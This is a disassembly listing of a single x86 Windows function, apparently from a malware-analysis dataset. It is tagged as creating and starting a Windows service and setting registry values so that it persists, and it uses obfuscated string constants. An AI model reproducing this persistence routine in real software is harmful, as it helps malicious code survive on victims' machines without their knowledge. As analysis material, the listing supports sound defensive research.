Function at 0x10005837
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push 0x354
mov eax, 0x10048edc
call fcn.1001949d
mov dword [ebp - 0x354], ecx
mov edi, dword [ebp + 8]
mov esi, 0x1004b408
push esi
call fcn.10010e5b
pop ecx
push eax
push esi
push dword [edi + 0x10]
xor ebx, ebx
mov ecx, edi
push ebx
call fcn.10017e3b
test eax, eax
jne 0x10005881
push 0x104
lea eax, [ebp - 0x318]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x35c], ebx
test ebx, ebx
je 0x10005cf6
lea eax, [ebp - 0x330]
push str.nHYfdhO1xMnr
push eax
call fcn.1000e301
pop ecx
pop ecx
and dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
jb 0x100058bd
mov eax, dword [eax]
push 0x10
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
or dword [ebp - 4], 0xffffffff
xor eax, eax
lea ecx, [ebp - 0x330]
xor ebx, ebx
inc eax
push ebx
push eax
call fcn.10013419
test esi, esi
je 0x100058ec
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0x103
lea eax, [ebp - 0x113]
mov byte [ebp - 0x114], bl
push 0
push eax
call fcn.10019f50
xor eax, eax
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x334], 0xf
mov dword [ebp - 0x338], eax
mov byte [ebp - 0x348], al
inc eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x330]
push str.n1JTPBPY3BY1Nb7JxbOkxHgjNIL_nHPj3sYJNbd4RHP23rr
push eax
call fcn.1000e301
add esp, 0x14
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x348]
push 0xffffffffffffffff
push 0
push eax
call fcn.10014837
xor eax, eax
inc eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x330]
push 0
push eax
call fcn.10013419
mov esi, dword [ebp - 0x354]
add esi, 4
push esi
mov dword [ebp - 0x350], esi
call fcn.10010e5b
pop ecx
push eax
push esi
lea ecx, [ebp - 0x348]
call fcn.10002a05
lea eax, [ebp - 0x330]
push str.3sEoNIsVd3OJNbmr
push eax
call fcn.1000e301
pop ecx
pop ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x348]
push 0xffffffffffffffff
push 0
push eax
call fcn.10014837
xor eax, eax
inc eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x330]
push 0
push eax
call fcn.10013419
lea eax, [ebp - 0x330]
push str.024NPHJcdMLqN1GT53Yjdhj2mJG2QIYfxqYjlIPtdZrV9Srr
push eax
call fcn.1000e301
pop ecx
pop ecx
mov byte [ebp - 4], 4
cmp dword [eax + 0x14], 0x10
jb 0x100059e6
mov eax, dword [eax]
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.1001a319
xor eax, eax
add esp, 0x10
inc eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x330]
push 0
push eax
call fcn.10013419
push 0x40
push esi
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.1001a319
add esp, 0x10
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x114]
push eax
xor eax, eax
inc eax
push eax
push 2
push 0x20
push 0xf01ff
push esi
push esi
push dword [ebp - 0x35c]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x358], eax
test eax, eax
je 0x10005b3a
lea eax, [ebp - 0x330]
push str.njLMPsQEnPNThJANIL2xHdj3sQ4xIOWQqmeTJON0qPSNIPcQsdJNbY4xHgNnqdA9ML2Qrr
push eax
call fcn.1000e301
pop ecx
pop ecx
mov byte [ebp - 4], 5
cmp dword [eax + 0x14], 0x10
jb 0x10005a7e
mov eax, dword [eax]
push 0x40
push esi
push 7
push esi
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov esi, eax
xor eax, eax
inc eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x330]
push 0
push eax
call fcn.10013419
test esi, esi
jne 0x10005b34
lea eax, [ebp - 0x330]
push str.nHPSQIJAdnO_xrr
push eax
call fcn.1000e301
pop ecx
pop ecx
mov edx, eax
mov byte [ebp - 4], 6
cmp dword [edi + 0x14], 0x10
mov eax, dword [edi + 0x10]
jb 0x10005ad4
mov esi, dword [edi]
jmp 0x10005ad6
mov esi, edi
cmp dword [edx + 0x14], 0x10
jb 0x10005ade
mov edx, dword [edx]
cmp dword [ebp - 0x334], 0x10
lea ecx, [ebp - 0x348]
inc eax
cmovae ecx, dword [ebp - 0x348]
push eax
push esi
push 2
push edx
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov esi, eax
xor eax, eax
inc eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x330]
push 0
push eax
call fcn.10013419
test esi, esi
jne 0x10005b34
push esi
push esi
push dword [ebp - 0x358]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push 1
pop eax
cmovne ebx, eax
mov esi, dword [ebp - 0x350]
and dword [ebp - 0x34c], 0
lea eax, [ebp - 0x330]
push str.n1JTPBPY3BY1Nb7JxbOkxHgjNIL_nHPj3sYJNbd4RHP23BPHdhgjTMLb3BsuNMG4RHsj9hLc3vP2rr
push eax
call fcn.1000e301
pop ecx
pop ecx
mov byte [ebp - 4], 7
cmp dword [eax + 0x14], 0x10
jb 0x10005b60
mov eax, dword [eax]
push esi
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x214]
push pe_nt_image_headers32
push eax
call fcn.1001a28e
xor eax, eax
add esp, 0x14
inc eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x330]
push 0
push eax
call fcn.10013419
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x214]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x10005bc6
push dword [ebp - 0x358]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x35c]
call esi
xor ebx, ebx
jmp 0x10005cdf
cmp dword [edi + 0x14], 0x10
jb 0x10005bd0
mov esi, dword [edi]
jmp 0x10005bd2
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10005bd5
lea eax, [ebp - 0x330]
sub esi, ecx
push str.O3dJxbOYd3Y2RhQJOIJ_d0r
push eax
call fcn.1000e301
pop ecx
pop ecx
mov ecx, eax
mov byte [ebp - 4], 8
cmp dword [edi + 0x14], 0x10
jb 0x10005c01
mov edx, dword [edi]
jmp 0x10005c03
mov edx, edi
cmp dword [ecx + 0x14], 0x10
jb 0x10005c0b
mov ecx, dword [ecx]
lea eax, [esi + 1]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push edx
push 2
push 0
push ecx
push dword [ebp - 0x34c]
call esi
xor eax, eax
inc eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x330]
push 0
push eax
call fcn.10013419
lea eax, [ebp - 0x330]
mov dword [ebp - 0x360], 7
push str.P6Jud3YTQ3Euxq7jdh0r
push eax
call fcn.1000e301
pop ecx
pop ecx
mov byte [ebp - 4], 9
cmp dword [eax + 0x14], 0x10
jb 0x10005c60
mov eax, dword [eax]
push 4
lea ecx, [ebp - 0x360]
push ecx
push 4
push 0
push eax
push dword [ebp - 0x34c]
call esi
xor eax, eax
inc eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x330]
push 0
push eax
call fcn.10013419
push dword [ebp - 0x34c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x354]
push 0
push 0
push dword [ebp - 0x350]
push 0x64
push 4
call fcn.1000f9e3
push dword [ebp - 0x358]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x35c]
call esi
test ebx, ebx
jne 0x10005cdf
cmp dword [edi + 0x14], 0x10
jb 0x10005cd1
mov edi, dword [edi]
mov ecx, dword [ebp - 0x354]
push edi
call fcn.100159c6
mov ebx, eax
or dword [ebp - 4], 0xffffffff
xor eax, eax
push 0
inc eax
lea ecx, [ebp - 0x348]
push eax
call fcn.10013419
mov eax, ebx
call fcn.1001945b
ret 4